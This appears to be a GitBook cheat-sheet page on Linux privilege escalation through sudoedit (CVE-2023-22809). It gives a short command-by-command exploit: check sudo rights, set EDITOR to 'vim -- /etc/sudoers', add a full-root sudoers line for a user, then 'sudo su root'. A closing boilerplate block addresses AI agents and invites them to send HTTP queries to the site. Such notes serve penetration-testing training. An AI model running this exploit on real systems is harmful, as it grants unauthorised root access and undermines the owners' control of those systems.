# Sudoedit Privilege Escalation

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudoedit-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```bash
sudo -l

(root) sudoedit /opt/example.txt
Copied!
```

If we can execute sudoedit command as root, we might be able to escalate the privileges with some version.

<br>

### [Exploitation (](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudoedit-privilege-escalation/#exploitation-\(cve-2023-22809\))[CVE-2023-22809](https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf)) <a href="#exploitation-cve-2023-22809" id="exploitation-cve-2023-22809"></a>

```bash
export EDITOR="vim -- /etc/sudoers"
sudoedit /opt/example.txt
Copied!
```

In vim editor, add the following line in **`/etc/sudoers`**.\
Assume the current username is “john”

```bash
john ALL=(ALL:ALL) ALL
Copied!
```

After that, we can escalate to root privilege.

```bash
sudo su root
Copied!
```

### References

* <https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudoedit-privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
